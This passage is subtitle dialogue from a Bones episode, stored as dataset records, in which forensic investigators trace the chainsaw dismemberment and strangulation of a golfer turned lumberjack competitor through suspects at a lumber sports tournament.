here, techs found this for you at the scene.\" \"What?\" \"I'm having too much fun.\" \"I hope you're still having fun when you're in hell.\" \"Ten more minutes, okay?\" \"Oh!\" \"I can smell it through my mask.\" \"This is so disgusting.\" \"I'll give you five.\" \"\u266a Bones 12x06 \u266a The Final Chapter:\" \"The Flaw in the Saw Original Air Date on February 7, 2017\" \"\u266a Main Title Theme \u266a The Crystal Method\" \"== sync, corrected by elderman == @elder_man\" \"Oh, what's that?\" \"Yes, I did fish every last bone out of the carcass pit.\" \"Are you looking for praise for performing the most basic tasks?\" \"I...\" \"I was just pointing it","metadata":{"pile_set_name":"OpenSubtitles"},"id":564} {"contents":"out.\" \"Do we have any idea about the... sock, I guess?\" \"Yeah, it's made of chain metal.\" \"It's the only article of clothing I found in the entire Dumpster.\" \"So we're looking for some sort of knight.\" \"Do knights play golf?\" \"Look, take a look at the fracture to the hamulus.\" \"It's called a golfer's fracture, I believe.\" \"Dr. Fuentes is correct.\" \"This fracture is extremely common in golfers.\" \"The result of years of stress on the wrist.\" \"This body just keeps getting weirder by the second.\" \"Uh, it gets even weirder.\" \"In the victim's sinuses alone I pulled out spores from six species of tree from around the world, including Dacrydium cupressinum, which only grows in New Zealand.\" \"So we're looking for a well-traveled knight with a","metadata":{"pile_set_name":"OpenSubtitles"},"id":565} {"contents":"love for America's favorite pastime, golf.\" \"Just a working theory.\" \"You building a bike?\" \"I wish.\" \"No, this is how Bones wants me to teach Christine how to ride a bike.\" \"Kind of ruins the fun.\" \"Exactly, right?\" \"So, what do you have for me?\" \"Yeah, uh, so, Angela sent over the victim's I.D.,\" \"Phyllis Paul.\" \"She was reported missing on Tuesday by her live-in girlfriend, Nancy Alpert.\" \"Huh.\" \"Phyllis Paul.\" \"College golfer, competed professionally.\" \"Yeah, but she never came close to winning a competition.\" \"For the past ten years she taught private golf lessons.\" \"I sent you her Web site.\" \"Oh, thanks, Aubrey.\" \"All right, well, I tell you what, let's, uh, bring her girlfriend in.\" \"We can, uh, talk to her.\" \"\"Trail equals wheel radius times","metadata":{"pile_set_name":"OpenSubtitles"},"id":566} {"contents":"cosine of head angle minus rake\"?\" \"What is this?\" \"It's-it's a disaster.\" \"It's a mess.\" \"I know that this is difficult,\" \"Ms. Alpert, but can you tell me the last time that you saw Phyllis?\" \"Tuesday morning.\" \"She left for the second day of her competition and she never came home that night.\" \"Okay, she was in a golf tournament?\" \"No.\" \"Lumberjacking.\" \"\"Lumberjacking\"?\" \"Right, okay.\" \"And, uh, this was a hobby of Phyllis' or...?\" \"I wish it were just a hobby.\" \"She'd found her calling as a... lumberjill, or whatever they're called.\" \"Six months in these silly competitions and she'd won more titles than 20 years of golfing.\" \"I'm getting the sense that you were not a fan.\" \"It was a waste of time.\" \"Why?\" \"She was winning","metadata":{"pile_set_name":"OpenSubtitles"},"id":567} {"contents":"money.\" \"I had more than enough for the both of us.\" \"We were gonna retire together, travel, take cooking classes... get married.\" \"It must have upset you when she took her life in a new direction.\" \"I'm sorry, if you're insinuating that I would ever hurt Phyllis, then you're mistaken.\" \"I've been in love with her since she gave me my very first golf lesson.\" \"Any idea who might have wanted Phyllis dead?\" \"Probably one of those lumberjackers.\" \"Just last month they threw a golf club through our window.\" \"How do you know it was a lumberjacker?\" \"'Cause there was a note attached.\" \"\"Stick to golfing, you...\"\" \"Well, I'd rather not say the word.\" \"You can read it yourself.\" \"I gave it to the police.\" \"There's something you","metadata":{"pile_set_name":"OpenSubtitles"},"id":568} {"contents":"wanted to show me?\" \"Si, Si, Si.\" \"I found significant fracturing of the hyoid.\" \"We will have to analyze it to determine if it indicates cause of death.\" \"In addition, I was looking at the striae where the victim was cut apart.\" \"Now, the tool that was used made this wave pattern.\" \"What do you make of it?\" \"Well, at first I wasn't sure, but then\" \"I heard that the victim was a lumberjack.\" \"So I thought, \"Rodolfo...\" \"Uh, chain saw.\" \"I concur.\" \"A chain saw's teeth are J-shaped and make this type of wave-like kerf mark.\" \"The victim was dismembered with a chain saw and she was wearing those chain metal socks at time of her death, which I learned are used for protecting the lumberjack from","metadata":{"pile_set_name":"OpenSubtitles"},"id":569} {"contents":"a wild swing of the ax.\" \"The victim was killed mid-competition.\" \"So someone is going to have to go to the lumberjacking contest.\" \"Booth and I will go, yeah.\" \"Oh, hey, hey,\" \"Dr. Brennan...\" \"If you'd like to spend a little more time in the lab,\" \"I'm willing to go in your place.\" \"Shh.\" \"It's a small sacrifice for my favorite boss.\" \"I sense that you are being disingenuous and that you just want to go to the competition.\" \"Okay, fine, yes, I want to go.\" \"But come on, what guy wouldn't?\" \"All men love chain saws.\" \"That is not a proven fact.\" \"Yes, it is.\" \"Greg.\" \"How do you feel about chain saws?\" \"I love chain saws.\" \"Boom.\" \"Okay, while Greg is an adequate security guard, he's","metadata":{"pile_set_name":"OpenSubtitles"},"id":570} {"contents":"not a sufficient sample size to extrapolate the preferences of an entire gender.\" \"Booth and I are going to the competition.\" \"Please clean and rearticulate the bones.\" \"Take pictures.\" \"Oh sure, I'll-I'll Chatsnap it.\" \"This is quite impressive.\" \"Well, no, no, no, it's not impressive.\" \"I think the word that you're looking for is badass, all right?\" \"This is a major sport,\" \"Bones.\" \"It's huge, and less face it, it's way more exciting than golf.\" \"I imagine the muscle groups used to swing an ax are the same as those used to swing a golfing stick.\" \"Four years of playing golf and you're still calling it a golfing stick.\" \"It's a stick used to golf.\" \"How is that not accurate?\" \"My point is that both golfing and lumberjacking","metadata":{"pile_set_name":"OpenSubtitles"},"id":571} {"contents":"are just applied physics.\" \"No.\" \"No, no, no, no, no, no, no, no.\" \"You d...\" \"Don't try to ruin this for me like you're ruining bike riding for Christine.\" \"But everything's mathematics.\" \"Sports, architecture, comedy.\" \"Comedy is not math.\" \"Yes, it is.\" \"By vectoring the English language, I can make a multitude of hilarious jokes.\" \"Please don't.\" \"No.\" \"For example, what did the math teacher say to the lumberjack?\" \"Don't care.\" \"Make sure you use the correct \"log-arithm.\"\" \"Hmm?\" \"It's all just simple \"geome-tree.\"\" \"Tree.\" \"Like, a tree, 'cause it's a log.\" \"It comes from a tree.\" \"It's a play on words.\" \"\u266a Turn up \u266a\" \"\u266a And make it something to believe in \u266a\" \"\u266a You know you got to turn up \u266a\" \"\u266a To make the","metadata":{"pile_set_name":"OpenSubtitles"},"id":572} {"contents":"heart go \u266a\" \"\u266a Whoa, whoa, whoa, whoa \u266a\" \"\u266a I said you got to turn up \u266a\" \"\u266a And put your hands \u266a\" \"\u266a Where I can see them \u266a\" \"\u266a You know you go to turn \u266a \u266a Up!\" \"\u266a\" \"\u266a To keep 'em begging for \u266a\" \"\u266a More, more, more, more \u266a\" \"\u266a More, more, more \u266a\" \"\u266a I set my soul on fire \u266a\" \"\u266a All for you, my love, and \u266a\" \"\u266a If you want it, baby, you can have it all \u266a\" \"\u266a Oh!\" \"But then you better turn up... \u266a\" \"Every person I see is carrying at least six lethal implements.\" \"Excuse me.\" \"Are you in charge here?\" \"Yeah, Dick Scarn.\" \"FBI Special Agent Seeley Booth.\" \"This here is my partner,\"","metadata":{"pile_set_name":"OpenSubtitles"},"id":573} {"contents":"\"Dr. Temperance Brennan.\" \"Okay.\" \"How can I help you?\" \"Well, I'm sorry to report that one of your lumberjills has been murdered.\" \"Murdered?\" \"Who?\" \"Phyllis Paul.\" \"Oh.\" \"Well, too bad.\" \"Ladies and gentlemen...\" \"Would you mind if we ask you a few questions?\" \"Well, they need me at the main stage, but, uh, you-you can walk with me.\" \"Okay.\" \"What happened to your femur?\" \"Uh, chain saw snapped.\" \"I got boned.\" \"\"Bone\" is not a verb.\" \"I got a bone.\" \"What bone?\" \"No.\" \"A \"bone\" is a hard piece of wood, Bones.\" \" Wait.\" \"Who's Bones?\" \" She's Bones.\" \" I'm Bones.\" \" Oh...\" \" Oh, I thought she was Brennan.\" \"Booth, this is exactly why you shouldn't call me \"Bones.\"\" \"Right, because, you know what?\" \"This happens","metadata":{"pile_set_name":"OpenSubtitles"},"id":574} {"contents":"all the time.\" \"When was the last time you saw Phyllis?\" \"Uh... tree climb on Tuesday.\" \"She was in that competition, and... she hasn't showed up for anything since.\" \"She was pretty good at these events, huh?\" \"Oh, yeah.\" \"Are you kidding?\" \"When she came on the scene,\" \" she outclassed the competition.\" \" Anyone in particular that she dethroned?\" \"Yeah.\" \"Helga Thisk.\" \"Where can we find Helga?\" \"On the hot zone, ladies and gentlemen...\" \"Right over there.\" \"we got Helga Thisk.\" \"Go get 'em, girl.\" \"Thank you.\" \"Whoa, whoa, Bones.\" \"Bones, let's just wait.\" \"Wait.\" \"Just wait until she puts down that big chain saw before we accuse her of murder, okay?\" \"All right!\" \"Okay, we can go now.\" \"Come on.\" \"Okay, uh, Ms. Thisk, can you","metadata":{"pile_set_name":"OpenSubtitles"},"id":575} {"contents":"please put that ax down?\" \"You're sure Phyllis is dead?\" \"Yes, her body was dismembered, and is currently decomposing.\" \"Helga, I took a look at your competition history with Phyllis.\" \"Outsider coming in, taking over the top lumberjill spot.\" \"That's got to be tough for you.\" \"It's just a game, Agent Booth.\" \"Oh, come on.\" \"Let's lose that \"It's just a game,\" okay?\" \"There's a lot of money to be made here.\" \" Right?\" \"There's tons of sponsors.\" \" You would remove\" \" anyone who got in your way.\" \" Mm-hmm.\" \"What?\" \"You think I killed Phyllis?\" \"Why would I kill her?\" \"We were training partners.\" \"She was giving me all her secrets.\" \"What secrets?\" \"Just some math stuff that she'd use to calculate each chop, like they","metadata":{"pile_set_name":"OpenSubtitles"},"id":576} {"contents":"do it in golf.\" \"As they should do it in every athletic endeavor.\" \"Measuring angles and diameters forever\" \" before she even took her first swing.\" \" Helga, can you think of anyone who'd want to hurt Phyllis?\" \"Probably the crazy fans.\" \"They hated her.\" \"They said she was making the sport dull with all her measuring.\" \" Don't blame 'em.\" \" Helgy!\" \"I've been looking everywhere for you.\" \"I'm sorry.\" \"This is my husband Ragnar.\" \"Ragnar, these people are from the FBI.\" \"Phyllis was murdered.\" \"Wow!\" \"I mean, I didn't take Phyllis for the getting-murdered type.\" \"It's a shame.\" \"You don't seem too upset.\" \"Oh, no.\" \"I'll say a \"yoho\" for her later.\" \"For now, we got a competition to think of.\" \"We've got to head over\"","metadata":{"pile_set_name":"OpenSubtitles"},"id":577} {"contents":"\" to the stage for the Jack and Jill.\" \" Whoa.\" \"Wait a second.\" \"A two-man saw?\" \"Bones, we got to see it.\" \"It's a fan favorite.\" \"Booth, we're in the middle of a murder investigation.\" \"Yes, and the fans are our possible suspects here, so, what kind of detectives would we be if we didn't check out the most popular event?\" \"Hey, how's it going up here?\" \"The day started out well.\" \"I analyzed the hyoid further, found fracturing on the greater cornua, which means that the cause of death was most likely strangulation.\" \"Nice.\" \"No, no.\" \"Not nice.\" \"I spent the last few hours scraping tiny pieces of solid matter out of the bone that got lodged into the striae during dismemberment.\" \"This is the slowest","metadata":{"pile_set_name":"OpenSubtitles"},"id":578} {"contents":"process.\" \"I know it doesn't seem like a lot, but hey, hey, hey, this could actually help me determine where the victim was cut up.\" \"Also, I analyzed the nine-iron that was thrown through the victim's window, and I think I may have found traces of permethrin and piperonyl butoxide.\" \"Pesticides.\" \"Professional grade.\" \"We may be looking for an exterminator.\" \"Well...\" \"How's it going up there?\" \"Let's ask her.\" \"Um, yeah, you go ahead and do that.\" \"I'm actually working on my own thing.\" \"What?\" \"Is your own thing more important than chain saws?\" \" Yeah, I-I got to go.\" \"Hey, Cam.\" \" Dr. Hodgins?\" \"!\" \"Dr. Hodgins!\" \"Dr. Saroyan.\" \"Yes.\" \"As you know, uh,\" \"Dr. Brennan and I came to the conclusion that the victim was dismembered","metadata":{"pile_set_name":"OpenSubtitles"},"id":579} {"contents":"with a chain saw.\" \"Yes.\" \"I have since learned that each competitor at the Lumber Sports Competition has his or her own unique chain saw.\" \"Therefore, I believe it is absolutely necessary to the case to subpoena each chain saw so that I may test them... to match the resulting striations to the striations on the victim's bones, thus enabling me to determine whose chain saw was used to dismember the body.\" \"So... you want to play with chain saws?\" \"Play with chains...\" \"No.\" \"I don't even like chain saws.\" \"No.\" \"Believe me, if there is another way to find the correct chain saw, I'll do it.\" \"Really?\" \"'Cause I was actually gonna say,\" \"I think testing chain saws is an excellent idea.\" \"Really?\" \"But since you'd prefer","metadata":{"pile_set_name":"OpenSubtitles"},"id":580} {"contents":"to do it a different way...\" \"No, no.\" \" Thank you.\" \" Sure.\" \"The Lumber Sports saved this sliced wood from Monday's chain saw competition, and-- it's a real treat-- they're even labeled with each competitor's name.\" \"Great.\" \"So why don't you compare the striations on the bones to those on this wood?\" \"Good.\" \"That way you don't have to worry about testing those chain saws yourself.\" \"Mm-hmm.\" \"Since you didn't want to do it anyway.\" \"Yay.\" \"Hey, Angie.\" \"Hey, um, I'm looking at this photo you just sent, but I am so confused.\" \"It's labeled \"crime scene,\" but we don't even know where this murder took place.\" \"Yeah, um, that's because, uh... it's from a different murder, not this case.\" \"Oh, my God.\" \"Wait a second.\" \"I","metadata":{"pile_set_name":"OpenSubtitles"},"id":581} {"contents":"remember this.\" \"This is from, uh, the lobbyist's murder, the one that Zack committed.\" \"Confessed to, not committed.\" \"Are-are... are you trying to prove that?\" \"What can I do to help?\" \"Okay, um, I think I may have found a way to prove that the killer wasn't Zack based on the severity of the stabbing.\" \"Here.\" \"See, look.\" \"There's too much blood.\" \"I mean, if Zack were to stab someone, which...\" \"But still, uh, he'd do it as cleanly as possible.\" \"Yeah, I-I just don't know if this is enough to overturn a conviction.\" \"It's a start.\" \"Yeah, it is.\" \"Can I show you something from the current case?\" \"Yeah.\" \"What's up?\" \"Okay.\" \"So when Helga said that fans hated Phyllis,\" \"I went online, and I found this.\"","metadata":{"pile_set_name":"OpenSubtitles"},"id":582} {"contents":"\"\"North East Lumber Sports Fans are the Bombest Fans.\"\" \"Wow.\" \"This Gene Frong guy is really die-hard.\" \"Yeah, and he hated Phyllis.\" \"He thought that she was ruining the sport.\" \"Check this out.\" \"What's up, everybody?\" \"Gene Frong in the house.\" \"Right behind me here is Phyllis Paul.\" \"She's measuring her log, and like always, she's taking her sweet time.\" \"Hey!\" \"Hey, Phyllis?\" \"!\" \"What's taking you so long?\" \"Yeah, we're bored.\" \" Hurry it up.\" \"Hey.\" \" I got to say, it is kind of boring.\" \"Phyllis sucks!\" \"Phyllis sucks!\" \"Phyllis sucks!\" \" That's right.\" \" Hit her in the face!\" \"Hit her in the face!\" \"Phyllis sucks!\" \"They're doing it.\" \"I did some digging.\" \"Gene works for his dad's extermination company.\" \"Angie, I think you just","metadata":{"pile_set_name":"OpenSubtitles"},"id":583} {"contents":"found our nine-iron thrower.\" \"Look, Bones, if I were an 18-year-old punk, where would I be?\" \"Where the beer is.\" \"Come on.\" \"I was a teenager once, Booth, and I observed that my peers enjoyed the consumption of inexpensive alcohol.\" \"Now, this is what I'm talking about-- good old-fashioned log roll.\" \"Chug!\" \"Chug!\" \"Chug!\" \"Chug!\" \"Chug!\" \"Chug!\" \"Chug!\" \"Chug!\" \"Chug!\" \"Chug!\" \"Chug!\" \"Chug!\" \"Chug!\" \"Chug!\" \"Chug!\" \"Chug!\" \"Chug!\" \"Chug!\" \"Chug!\" \"Oh!\" \"Hey, excuse me.\" \"Ah!\" \"Whew!\" \"That's two.\" \"Let's go.\" \"Excuse me.\" \"Gene Frong, need a word with you over here, please?\" \"I'm 21, I swear!\" \"Whoa, whoa, whoa, whoa!\" \"Hey!\" \"Oh.\" \"Sorry.\" \"Oh.\" \"Hey!\" \"Oh.\" \"Sorry.\" \"Oh, come on, you got to be kidding me.\" \" Will you get down now?\" \"!\" \" I'll stay up here","metadata":{"pile_set_name":"OpenSubtitles"},"id":584} {"contents":"all day.\" \"Well, he can't stay there forever.\" \"Oh, Bones, we don't have enough time here.\" \"We don't.\" \"Let's go.\" \"Relax!\" \"Booth!\" \"Booth!\" \"Booth!\" \"Stop!\" \"No.\" \"Successful axmanship requires mathematic calculation.\" \"You got to be kidding me.\" \"First, we find the radius of the log and divide it by 1.25.\" \" Come on.\" \" Then...\" \"Okay, just take a step a back.\" \" Take a step back.\" \" We plot the angle of attack.\" \"Enough is enough here with this.\" \"That's right!\" \"Good chop!\" \"Okay, okay, okay, I'm coming down.\" \"Shh.\" \"Put it down!\" \"Put it down!\" \"You see that, Bones, huh?\" \"Don't need science to take care of this guy.\" \"Let's go.\" \"Hey, Cam.\" \"What's up?\" \"Hey, based on what Rodolfo found on the hyoid, I examined","metadata":{"pile_set_name":"OpenSubtitles"},"id":585} {"contents":"the tissue around the victim's neck and found hydrogenated triglycerides.\" \"That's vegetable shortening.\" \"What was it doing around her neck?\" \"The murderer's hands must have been covered in it.\" \"Well, the grease-to-person ratio at this event is exceptionally high, but I'll do my best to keep an eye out for users of triglycerides.\" \"Look, I think when Phyllis didn't listen to your request to stick to golf, you decided to kick it up a couple notches.\" \"What?\" \"!\" \"No.\" \"I loved Phyllis.\" \"Well, I don't tend to throw golfing sticks through the windows of people that I love.\" \"Golf clubs.\" \"They're not sticks.\" \"Same thing.\" \"Yeah, okay.\" \"Maybe that was a little too crazy, but I would...\" \"I would never kill Phyllis.\" \"She was too much fun to","metadata":{"pile_set_name":"OpenSubtitles"},"id":586} {"contents":"have around.\" \"Yeah.\" \"At first, the whole measuring thing sucked, but a bunch of us would start going to her events just to yell at her, and that was a lot of fun.\" \"The flapjack guy even sold special pancakes just to throw at her.\" \"Cam said that the killer's hands were covered in shortening.\" \"Gene, did the flapjack guy have anything against Phyllis?\" \"Yeah, they had a... hilarious feud going on.\" \"What kind of feud?\" \"Well, uh, at first, she said that his coffee tasted like dirt, so then he put a spider in her mug.\" \"And that's when she let all the air out in his tires, and that's when he started selling the \"Fling a Flap at Phyllis\" special.\" \"I think we need to talk","metadata":{"pile_set_name":"OpenSubtitles"},"id":587} {"contents":"to him.\" \"Okay.\" \"Um, can I... can I go now?\" \"I have to pee really, really bad.\" \"That's due to the fact that you consumed 24 ounces of beer.\" \"Fluid is filling your bladder, applying pressure to stretch receptors, which signal your urethra.\" \"Lady, you're not making this any easier for me.\" \"Does that help?\" \"Get two orders right here, this one.\" \"Oh, my God.\" \"Family recipe, passed down from Flap to Flap for generations.\" \"So, I understand you had a bit of a feud going with Phyllis Paul.\" \"Oh, it wasn't that bad.\" \"Really?\" \"I... beg to differ-- it says here that after the pancake tossing,\" \"Phyllis reported your truck to the health department.\" \"That was just Phyllis being Phyllis.\" \"She wasn't the nicest Jill at the","metadata":{"pile_set_name":"OpenSubtitles"},"id":588} {"contents":"jamboree.\" \"But after a failed inspection, you had to buy a brand-new truck.\" \"Planning on it.\" \"Yeah, it was time to retire that rusty old clunker anyway.\" \"Listen, Jack, we found traces of vegetable shortening on Phyllis's neck.\" \"How do you explain that?\" \"Vegetable shortening.\" \"What do you think I am?\" \"I cook with butter, that I make from scratch.\" \"I should have caught that.\" \"Hold on a second here.\" \"No, there's a, uh, complexity of the flavor, no aftertaste.\" \"That's definitely butter.\" \"Why am I getting a hint of a...\" \"like, a smoked meat?\" \"Bits of bacon in the batter.\" \"I cure it myself.\" \"Adds a hint of umami, which balances out the sweetness.\" \"That's beautiful.\" \"It's a Flap family secret.\" \"So, what about Phyllis?\" \"Anything strange","metadata":{"pile_set_name":"OpenSubtitles"},"id":589} {"contents":"going on with her lately?\" \"Eh, Phyllis kept to herself.\" \"Brought her own \"healthy\" food in those little Tupperware containers.\" \"Yeah, I know the type.\" \"Yeah.\" \"In fact, last Tuesday's the first time I ever saw that gal eating carbohydrate.\" \"Wait, did you say last Tuesday?\" \"Yeah.\" \"Still obnoxious as ever, jabbering away on the phone the whole time, but oh, boy, she made her way through a Jiant Jack Stack faster than I can flip a flap.\" \"Thanks, Jack.\" \"Ooh.\" \"Can I take my Jiant Jack Stack to go?\" \"You better.\" \"Dr. Fuentes, have you found a wood slab that matches the striations?\" \"Not yet.\" \"I was looking at the hyoid and the surrounding area to determine cause of death.\" \"I found something interesting on the C4","metadata":{"pile_set_name":"OpenSubtitles"},"id":590} {"contents":"vertebra.\" \"Crushing fracture on the anterior surface.\" \"The fracturing is too extensive to have been caused by human hands.\" \"Whatever implement was used squished its way into the tissue of the neck and made contact with the front of the vertebra.\" \"There's a substantial amount of muscle in the neck, so whatever implement was used must have been extremely strong.\" \"My guess is a pliable metal.\" \"But why would the murderer cover it in vegetable shortening?\" \"Hey, so, I got something really interesting for you.\" \"What is it, Aubrey?\" \"So, the day that Phyllis died, she ate pancakes.\" \"Okay, you know what?\" \"I got to go.\" \"Wait-wait.\" \"Booth, Booth, look.\" \"You know that Phyllis was an intense competitor who ate clean, right?\" \"Look, there's got to be a","metadata":{"pile_set_name":"OpenSubtitles"},"id":591} {"contents":"reason that Phyllis bought a stack of pancakes from a guy that she hated.\" \"My guess is she was stressed.\" \"All right, let's just think about it.\" \"When an athlete gets stressed, you know, their... their scores, they go down.\" \"What do you say we just go check out the tournament Web site and look at her scores?\" \"That's good thinking.\" \"Wait a second.\" \"That doesn't add up.\" \"Well, she was winning, but...\" \"not as much as her past competitions-- you might be right.\" \"Phyllis was off.\" \"Huh?\" \"Come on!\" \"I'm, like, a forensic food-ologist.\" \"Hello?\" \"Hey, Angie?\" \"I just ran the solid matter that Rodolfo found in the chain saw striations through the mass spec.\" \"Did it give you any indication of where Phyllis' body was dismembered?\"","metadata":{"pile_set_name":"OpenSubtitles"},"id":592} {"contents":"\"Well, I found Aphanomyces laevis,\" \"Lasiodiplodia theobromae, and Phialocephala virens.\" \"They're plant fungi.\" \"But they feed on plants from completely different climates.\" \"I'm talking, like, where... where does a cactus grow next to a water lily?\" \"In a plant nursery?\" \"Oh, yeah, right.\" \"Huh.\" \"Sometimes I forget these things exist outside of nature.\" \"Well, I can run a search for all the nurseries in the area of the lumberjack tournament.\" \"Yeah.\" \"Um, by the way, I think I found something on the lobbyist's rib.\" \"Didn't Brennan already analyze the lobbyist's bones?\" \"She missed something.\" \"Brennan missed something?\" \"On a bone?\" \"Inside one of the wound tracts\" \"I found what could be the killer's microbial signature.\" \"It's a combination of all the particles every human emits.\" \"It can be","metadata":{"pile_set_name":"OpenSubtitles"},"id":593} {"contents":"used to distinguish between individuals.\" \"Yeah, I've-I've heard of that, but there are variables.\" \"I don't think that's ever actually held up in court.\" \"First time for everything.\" \"Yeah.\" \"Okay, uh, so these are the nurseries located within a five-mile radius of the tournament.\" \"It looks like they're all in a densely populated area.\" \"Yeah, there's no way the killer could have dismembered the victim with a chain saw at any of these places without someone hearing.\" \"Angie, what about any nurseries in the area that closed?\" \"I mean, a bunch of untended plants-- that would explain the amount of fungus I found.\" \"Yeah.\" \"Bonnie's Garden.\" \"Huh.\" \"It was closed a year ago.\" \"And it's located a half mile from the tournament.\" \"There's blood here.\" \"And a lot","metadata":{"pile_set_name":"OpenSubtitles"},"id":594} {"contents":"of it.\" \"This is definitely where our victim was dismembered.\" \"Yeah, a remote area, drainage...\" \"It's pretty clever.\" \"Guys, look.\" \"This pot is singed along the rim.\" \"Someone tried to burn the victim's clothing?\" \"Definitely.\" \"And the other sock.\" \"Wait a minute.\" \"What is this?\" \"It's a flipline.\" \"It's a steel cable that lumberjacks use to scale the pole in the tree climb event.\" \"Belonged to our victim.\" \"You think this could be the murder weapon?\" \"It definitely fits the parameters.\" \"Hold on a second.\" \"I can tell you for sure.\" \"Can you hold that out?\" \"Yep.\" \"Lipids.\" \"This flipline is covered in fat.\" \"Hey, ten to one, it's vegetable shortening.\" \"Well, if so, we've got our murder weapon.\" \"Yes!\" \"King of the plant graveyard.\" \"I still don't","metadata":{"pile_set_name":"OpenSubtitles"},"id":595} {"contents":"understand why'd you put shortening on a flipline.\" \"Well, a slippery flipline would make it nearly impossible to scale the pole.\" \"So sabotage.\" \"That explains her lower scores.\" \"But Phyllis was still winning.\" \"So maybe this saboteur just got impatient, killed her instead.\" \"No, no.\" \"No, no.\" \"Bones, what are you doing?\" \"Proving to you that lumberjacking is physics.\" \"I am sure that it is, but I told you, I don't want to know.\" \"Don't you wonder how the world functions?\" \"You know what, Bones?\" \"Some things in life, they need to be a mystery, okay?\" \"Like the Internet.\" \"Why planes fly.\" \"Farts.\" \"Transfer protocol, manipulation of air pressure, vibrations of the anal-- Nah!\" \"Don't need to know that right now, okay?\" \"What is this?\" \"Th-This is silly!\"","metadata":{"pile_set_name":"OpenSubtitles"},"id":596} {"contents":"\"Hi, Cam.\" \"Go ahead.\" \"I found epithelial cells on the flipline, so I ran the DNA and got a hit from the Maryland\" \"Volunteer Fireman Database.\" \"Well, who is it?\" \"Ragnar Thisk.\" \"Helga's husband?\" \"Well, looks like the husband wanted to get a leg up for the wife.\" \"Tell you what, hey...\" \"you up for, uh, another visit to the lumberjack show?\" \"Huh?\" \"And we're not taking these.\" \"Sabotaging Phyllis?\" \"Never.\" \" This sport is about community.\" \" Well, come on, there's lots of sponsors.\" \"There's a lot of money at risk.\" \"And you were the loser.\" \"This woman is not a loser.\" \"I'm merely stating a fact.\" \"She lost, ergo she is a loser.\" \"Ragnar, you're very protective of your wife there.\" \"I bet you would do","metadata":{"pile_set_name":"OpenSubtitles"},"id":597} {"contents":"anything to see her win.\" \"Maybe even commit... murder?\" \"No!\" \"Then why did we find your DNA on Phyllis's flipline, the implement used to murder her?\" \"Okay.\" \"I greased the flipline.\" \"I was trying to sabotage Phyllis, but I didn't kill her, okay?\" \"Rag, how could you do that?\" \"I could see how hard you were working.\" \"All those late nights spent practicing with Phyllis.\" \"Ragnar, please.\" \"Sometimes you didn't even get home till morning.\" \"Come on, now, I wasn't working that hard.\" \"Oh...\" \"don't be humble.\" \"What about all those weekend lumberjacking trips you and Phyllis were always going on?\" \"She'd come home completely wiped.\" \"Phyllis's training must have really tuckered her out.\" \"Mr. Thisk, can you please step outside?\" \"Thank you.\" \"Okay, Phyllis and I were","metadata":{"pile_set_name":"OpenSubtitles"},"id":598} {"contents":"sleeping together.\" \"We were gonna leave\" \"Nancy and Ragnar and get married.\" \"We even got fitted for rings last week.\" \"And now she's gone.\" \"There... there, there.\" \"What does \"there, there\" mean?\" \"It's okay.\" \"It's supposed to comfort her.\" \"Maybe try the bear.\" \"Let's give her some time, please.\" \"Do you want a bear?\" \"Stop.\" \"Give her the bear.\" \"Helga.\" \"Please.\" \"Hey.\" \"What's up?\" \"I need you to swab something for me.\" \"I've been looking at the striations on the bone.\" \"I found kerf marks on the right femur.\" \"Now, they appear to have been made by an ax, and they were made prior to the chain saw damage.\" \"Wait a minute.\" \"You think someone attempted to chop up the body with an ax first?\" \"Exactly.\" \"But if","metadata":{"pile_set_name":"OpenSubtitles"},"id":599} {"contents":"a lumberjack took a swing on the bone, he or she would have been strong enough to do more damage than this.\" \"In addition, none of the slabs of wood that Cam gave us match the striations.\" \"So if we're not looking for a lumberjack...\" \"We're not looking for a lumberjack's chain saw.\" \"The killer could have used any make or model of chain saw in the world.\" \"How will we ever figure out which one it is?\" \"It was his idea.\" \"Look, I don't care whose idea this was.\" \"Someone tell me what's going on.\" \"Okay.\" \"I'll explain, I guess.\" \"Based on a multitude of evidence,\" \"Hodgins and I came to the conclusion that the killer's not a lumberjack.\" \"So we're not looking for a lumberjack's chain","metadata":{"pile_set_name":"OpenSubtitles"},"id":600} {"contents":"saw, we're looking for a regular consumer chain saw.\" \"So... we're testing all of them.\" \"And what exactly is the plan here?\" \"Look, Cam, if we can find the make and model of the chain saw that was used, we may be able to match it to a chain saw owned by one of the remaining non-lumberjack suspects.\" \"Unfortunately, there's a small grain of intelligence in that theory.\" \"So... we can keep going?\" \"Just get it over with.\" \"Yeah!\" \"So it looks like Phyllis' girlfriend, Nancy, is our prime suspect.\" \"I mean, she definitely has motive.\" \"And the force profile indicates that the killer is not a lumberjack.\" \"Well, Aubrey, you know, went and checked out her house, no one was there.\" \"And he's also checking out the","metadata":{"pile_set_name":"OpenSubtitles"},"id":601} {"contents":"country club.\" \"Booth, is that...?\" \"You can't hide from me, you lumber slut.\" \"Nancy!\" \"Nancy Albert, hold on.\" \"Oh.\" \"Easy.\" \"Okay.\" \"Wow!\" \"Okay, look at that, huh?\" \"Talk about a good Seth Joyner takedown.\" \"All right, that's it.\" \"Turn around.\" \"Let's go.\" \"Let's go.\" \"I hate to tell you, but you are under arrest.\" \"Up.\" \"Nancy, I hear you've got quite the temper?\" \"I'm sorry, wouldn't you if you just found out your girlfriend was in love with someone else?\" \"It might lead someone to murder.\" \"I didn't kill her.\" \"I just found out about it this morning.\" \"This morning?\" \"From whom?\" \"I got a call from our jeweler.\" \"He asked if the ring fit.\" \"I never received any ring.\" \"How do you know that Phyllis wasn't planning","metadata":{"pile_set_name":"OpenSubtitles"},"id":602} {"contents":"on giving you a ring before she died?\" \"He said she'd had it resized to a nine.\" \"I'm a five and a half.\" \"It was obviously meant for that ogre.\" \"So you knew about Helga?\" \"I suspected.\" \"Yeah, but this just confirmed it.\" \"You don't buy a four-carat diamond for a friend.\" \"Four carats.\" \"That's a very expensive ring.\" \"You know if Helga actually got it?\" \"Well, good luck finding it if she did.\" \"It probably looks like a speck of dust on those sausage fingers of hers.\" \"The hard sell... again.\" \"Hey, Hodgins, these striations still don't match.\" \"Why are you yelling?\" \"Well...\" \"Just grab another saw.\" \"Well, I'm going to test this one for a third time, just to be sure.\" \"Okay.\" \"Whoa!\" \"Oh!\" \"Sorry.\" \"Hey,","metadata":{"pile_set_name":"OpenSubtitles"},"id":603} {"contents":"no worries, no worries.\" \"All good.\" \"It was getting a little loud in here so I rigged this up so that I'd actually be able to know when the mass spec was finished.\" \"Ah, genius.\" \"Right?\" \"Yeah.\" \"Let's see what we got here.\" \"So it looks like we do have the results from the particulates in the axe wound.\" \"Okay.\" \"Glucose, sucrose, sodium nitrate, lipids...\" \"Hold on a second.\" \"This all looks like a combination of sugar, syrup, and pig fat.\" \" 